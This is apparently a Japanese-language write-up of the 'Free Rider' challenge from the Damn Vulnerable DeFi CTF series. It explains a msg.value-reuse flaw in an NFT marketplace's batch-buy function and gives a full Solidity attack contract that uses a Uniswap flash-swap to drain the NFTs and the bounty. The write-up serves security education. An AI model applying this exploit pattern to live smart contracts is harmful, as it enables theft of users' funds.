moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi (十) - フリーライダー

ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれます。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/10.html

問題の説明:

現在、すでに公開されているダムバリュブル NFT 取引市場があり、最初に 6 つの NFT がミントされ、取引市場で販売されており、販売価格は 15ETH です。

ある買い手があなたに秘密を教えてくれました:市場は脆弱で、すべてのトークンを奪うことができます。しかし、彼はどうやってそれをするかは知りません。そのため、NFT を取り出して彼に送る人に 45ETH の報酬を提供することを望んでいます。

あなたはこの買い手に名声を築きたいと思っているので、この計画に同意しました。

残念ながら、あなたは 0.5ETH しか持っていません。どこかで無料で ETH を得ることができればいいのですが、一時的でも構いません。

FreeRiderBuyer.sol#

買い手コントラクト

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {

    using Address for address payable;
    address private immutable partner;
    IERC721 private immutable nft;
    uint256 private constant JOB_PAYOUT = 45 ether;
    uint256 private received;
    
    // デプロイ時にこのコントラクトに45ethを転送
    constructor(address _partner, address _nft) payable {
        require(msg.value == JOB_PAYOUT);
        partner = _partner;
        nft = IERC721(_nft);
        IERC721(_nft).setApprovalForAll(msg.sender, true);
    }
    
    // NFTを受け取ったときにトリガーされる関数
    function onERC721Received(
        address,
        address,
        uint256 _tokenId,
        bytes memory
    ) 
        external
        override
        nonReentrant
        returns (bytes4) 
    {
        require(msg.sender == address(nft));
        require(tx.origin == partner); // トランザクションの発起人がpartnerであることを確認
        require(_tokenId >= 0 && _tokenId <= 5);
        require(nft.ownerOf(_tokenId) == address(this)); // 所有していることを確認
        
        received++;
        // 6つのNFTを受け取った後、45ethをpartnerに転送
        if(received == 6) {            
            payable(partner).sendValue(JOB_PAYOUT);
        }            
        return IERC721Receiver.onERC721Received.selector;
    }
}

このコントラクトは IERC721Receiver を継承しており、NFT コントラクトは ERC721 を継承しています。

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {}

これは、NFT コントラクトが safeTransferFrom を呼び出し、to アドレスがこのコントラクトである場合、onERC721Received 関数がトリガーされることを意味します。

safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)

safeTransferFrom 内部では、to がコントラクトアドレスであるかどうかを判断し、そうであれば onERC721Received を呼び出します。

FreeRiderNFTMarketplace.sol#

取引コントラクトで、ReentrancyGuard を継承し、再入攻撃を防ぐために使用されます。

コンストラクタ内で DamnValuableNFT コントラクトを作成し、amountToMint 数量の NFT をコントラクトデプロイ者にミントしました。

constructor(uint8 amountToMint) payable {
    require(amountToMint < 256, "Cannot mint that many tokens");
    token = new DamnValuableNFT();

    for(uint8 i = 0; i < amountToMint; i++) {
        token.safeMint(msg.sender);
    }        
}

このコントラクトは 2 つの機能を提供します。

  • 一括販売 offerMany
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
    require(tokenIds.length > 0 && tokenIds.length == prices.length);
    for (uint256 i = 0; i < tokenIds.length; i++) {
        _offerOne(tokenIds[i], prices[i]);
    }
}

function _offerOne(uint256 tokenId, uint256 price) private {
    // 入札が > 0 であることを確認
    require(price > 0, "Price must be greater than zero");
    // 売り手はそのNFTの所有者でなければならない
    require(msg.sender == token.ownerOf(tokenId), "Account offering must be the owner");
    
    // 承認されていることを確認
    require(
        token.getApproved(tokenId) == address(this) ||
        token.isApprovedForAll(msg.sender, address(this)),
        "Account offering must have approved transfer"
    );
    // 価格を記録
    offers[tokenId] = price;

    amountOfOffers++;

    emit NFTOffered(msg.sender, tokenId, price);
}

NFT の保有者がこのメソッドを呼び出すと、いくつかの基本的な検証の他に、このコントラクトが保有者の持つ NFT を操作できるように承認します。

最後に、オファーを offers[tokenId] に保存し、誰かが購入する際に、保有者がすでにこのコントラクトにその NFT を操作することを承認しているため、支払いを受け取った後、このコントラクトは保有者の NFT を購入者に直接転送できます。

  • 一括購入 buyMany
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
    for (uint256 i = 0; i < tokenIds.length; i++) {
        _buyOne(tokenIds[i]);
    }
}

function _buyOne(uint256 tokenId) private {
    // 価格を取得
    uint256 priceToPay = offers[tokenId];
    // 入金された価格が販売価格以上であることを確認
    require(priceToPay > 0, "Token is not being offered");
    require(msg.value >= priceToPay, "Amount paid is not enough");

    amountOfOffers--;

    // NFTを購入者に転送
    token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

    // 受け取ったETHを売り手に転送
    payable(token.ownerOf(tokenId)).sendValue(priceToPay);

    emit NFTBought(msg.sender, tokenId, priceToPay);
}

売り手が取引コントラクト内でその持つ NFT を販売すると、買い手は購入プロセスを実行できます。まず価格を取得し、受け取った ETH が販売価格以上であることを確認し、その後このコントラクトが売り手の持つ NFT を買い手に転送し、受け取った ETH を売り手に転送します。

一括購入機能には明らかな問題があります。受け取った ETH が販売価格以上であることを確認する際に require(msg.value >= priceToPay, "Amount paid is not enough"); で確認しているのは単一の NFT の価格であり、一括購入の総額ではありません。また、売り手に転送される ETH はコントラクト内の残高を使用しています。

例えば、取引コントラクトが100ETHを保有していて、売り手がその持つ tokenId が 1, 2, 3 の NFT を販売し、価格がそれぞれ 1ETH, 5ETH, 3ETH の場合、買い手が buyMany を呼び出す際に支払うべき価格は 9ETH ですが、実際には 5ETH(購入価格が最も高い tokenId の価格)を支払うだけで require のチェックを満たすことができます。この時、取引コントラクトは合計で 105ETH を保有しています。転送時、取引コントラクトは売り手に 9ETH を転送しました。つまり、買い手が支払わなかった ETH は取引コントラクトの残高から補填されました。

この問題では、NFT の単価は 15ETH であるため、6 つの NFT を購入するには 15ETH だけ支払えばよく、90ETH ではありません。しかし、あなたは 0.5ETH しか持っていません。したがって、ETH を得る方法を見つける必要があります。uniswap のフラッシュローンを利用するのは良い方法です:

  • フラッシュローンで 15WETH を借りて、WETHETH に交換します。
  • ETH を使用して NFT を購入し、購入した NFT を FreeRiderBuyer に送信し、45ETH の報酬を受け取ります。
  • 最後に、ETHWETH に戻し、フラッシュローンの手数料を加算してフラッシュローンの借入金を返済します。

これらの操作は 1 つのトランザクション内で完了する必要があるため、攻撃コントラクトを書く必要がありますが、その前にテストファイル free-rider.challenge.js がどのような初期化を行っているかを確認します:

  • attacker0.5ETH を送信
  • コントラクト WETHDVTuniswapFactoryuniswapRouter をデプロイ
  • uniswapRouter コントラクトのメソッド addLiquidityETH を呼び出して流動性を追加します。このメソッド内部ではペアコントラクト uniswapPair が作成され、ペアの通貨は WETH-DVT で、追加された流動性は 9000WETH15000DVT です。
  • コントラクト FreeRiderNFTMarketplace をデプロイし、90ETH を転送。
  • NFT コントラクトをデプロイ
  • 取引コントラクト内で tokenId0~5NFT を販売するための売り注文を作成し、各価格は 15ETH です。
  • コントラクト FreeRiderBuyer をデプロイし、45ETH を転送。

攻撃コントラクトのコードは以下の通りです:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "../free-rider/FreeRiderBuyer.sol";
import "../DamnValuableNFT.sol";

contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
  
  FreeRiderBuyer buyer;
  FreeRiderNFTMarketplace marketplace;

  IUniswapV2Pair pair;
  IWETH weth;
  DamnValuableNFT nft;
  address attacker;

  uint256[] tokenIds = [0, 1, 2, 3, 4, 5];

  constructor(address _buyer, address payable _marketplace, address _pair, address _weth, address _nft) payable {
    buyer = FreeRiderBuyer(_buyer);
    marketplace = FreeRiderNFTMarketplace(_marketplace);

    pair = IUniswapV2Pair(_pair);
    weth = IWETH(_weth);
    nft = DamnValuableNFT(_nft);

    attacker = msg.sender;
  }

  function attack(uint amount) external {
    // ペアコントラクト: WETH-DVT
    // uniswap フラッシュローンで amount 数量の WETH を借りる
    // 注意: 最後のパラメータは空であってはいけません。そうでないとフラッシュローンのコールバックは実行されません
    pair.swap(amount, 0, address(this), "x");
  }

  // uniswap フラッシュローンコールバック
  function uniswapV2Call(
    address sender,
    uint amount0,
    uint amount1,
    bytes calldata data
  ) external {
    // 借りた WETH を ETH に変換
    weth.withdraw(amount0);

    // 借りた15ETHを取引コントラクトに転送してtokenIdが0~5のNFTを購入
    marketplace.buyMany{value: amount0}(tokenIds);

    // 購入したNFTをbuyerに転送し、45 ETHを得る
    for (uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
      nft.safeTransferFrom(address(this), address(buyer), tokenId);
    }

    // フラッシュローンの返済に必要な手数料を計算し、返済分をwethに変換
    uint fee = amount0 * 3 / 997 + 1;
    weth.deposit{value: fee + amount0}();

    // フラッシュローンを返済
    weth.transfer(address(pair), fee + amount0);

    // 残りのethをattackerに転送
    payable(address(attacker)).transfer(address(this).balance);
  }

  receive() external payable {}

  function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
      return IERC721Receiver.onERC721Received.selector;
  }
}

テストファイル free-rider.challenge.js に実行エントリを追加します。

it('Exploit', async function () {
  const freeRiderAttack = await (await ethers.getContractFactory('FreeRiderAttack', attacker)).deploy(
    this.buyerContract.address,
    this.marketplace.address,
    this.uniswapPair.address,
    this.weth.address,
    this.nft.address
  )
  await freeRiderAttack.attack(NFT_PRICE)
})

最後に yarn free-rider を実行してテストを通過させます!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。